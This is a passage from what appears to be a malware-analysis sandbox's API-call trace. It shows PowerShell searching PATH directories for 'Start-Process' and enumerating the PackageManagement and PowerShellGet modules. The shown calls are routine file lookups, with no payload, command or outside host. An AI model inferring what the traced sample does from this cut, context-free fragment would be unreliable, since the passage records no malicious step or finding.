returned 0x49 [0193.767] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0193.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e820) returned 1 [0193.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x599eae4 | out: lpFileInformation=0x599eae4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0193.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e81c) returned 1 [0193.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0193.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0193.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e820) returned 1 [0193.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x599eae4 | out: lpFileInformation=0x599eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0193.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e81c) returned 1 [0193.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eadc) returned 1 [0193.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0193.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0193.769] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Start-Process.*", lpFindFileData=0x599e88c | out: lpFindFileData=0x599e88c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0193.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e834) returned 1 [0193.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea94) returned 1 [0193.769] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0193.769] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0193.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e820) returned 1 [0193.769] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x599eae4 | out: lpFileInformation=0x599eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0193.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e81c) returned 1 [0193.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eadc) returned 1 [0193.770] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0193.770] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0193.770] FindFirstFileW (in: lpFileName="C:\\Windows\\Start-Process.*", lpFindFileData=0x599e88c | out: lpFindFileData=0x599e88c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0193.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e834) returned 1 [0193.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea94) returned 1 [0193.771] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0193.771] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0193.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e820) returned 1 [0193.771] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x599eae4 | out: lpFileInformation=0x599eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0193.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e81c) returned 1 [0193.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eadc) returned 1 [0193.771] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0193.771] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0193.772] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Start-Process.*", lpFindFileData=0x599e88c | out: lpFindFileData=0x599e88c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0193.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e834) returned 1 [0193.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea94) returned 1 [0193.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0193.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0193.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e820) returned 1 [0193.772] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x599eae4 | out: lpFileInformation=0x599eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0193.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e81c) returned 1 [0193.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eadc) returned 1 [0193.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0193.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0193.773] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Start-Process.*", lpFindFileData=0x599e88c | out: lpFindFileData=0x599e88c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0193.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e834) returned 1 [0193.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea94) returned 1 [0193.774] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0193.774] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0193.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e820) returned 1 [0193.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client" (normalized: "c:\\program files (x86)\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x599eae4 | out: lpFileInformation=0x599eae4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a4ed90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x7fc99110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fc99110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0193.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e81c) returned 1 [0193.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eadc) returned 1 [0193.774] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0193.774] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0193.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\Start-Process.*", lpFindFileData=0x599e88c | out: lpFindFileData=0x599e88c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0193.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e834) returned 1 [0193.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea94) returned 1 [0193.777] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x599e928, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0193.780] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0193.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0193.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0193.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.782] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.782] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0193.782] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0193.783] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.783] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.783] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0193.785] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0193.785] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0193.785] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0193.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0193.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0193.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0193.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0193.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.786] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0193.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0193.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.787] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.787] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0193.787] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0193.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.788] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.788] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0193.788] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.788] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0193.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0193.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e860) returned 1 [0193.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eb24 | out: lpFileInformation=0x599eb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0193.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e85c) returned 1 [0193.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0193.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0193.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0193.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0193.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e884) returned 1 [0193.789] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2563bf4 | out: lpFileInformation=0x2563bf4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, 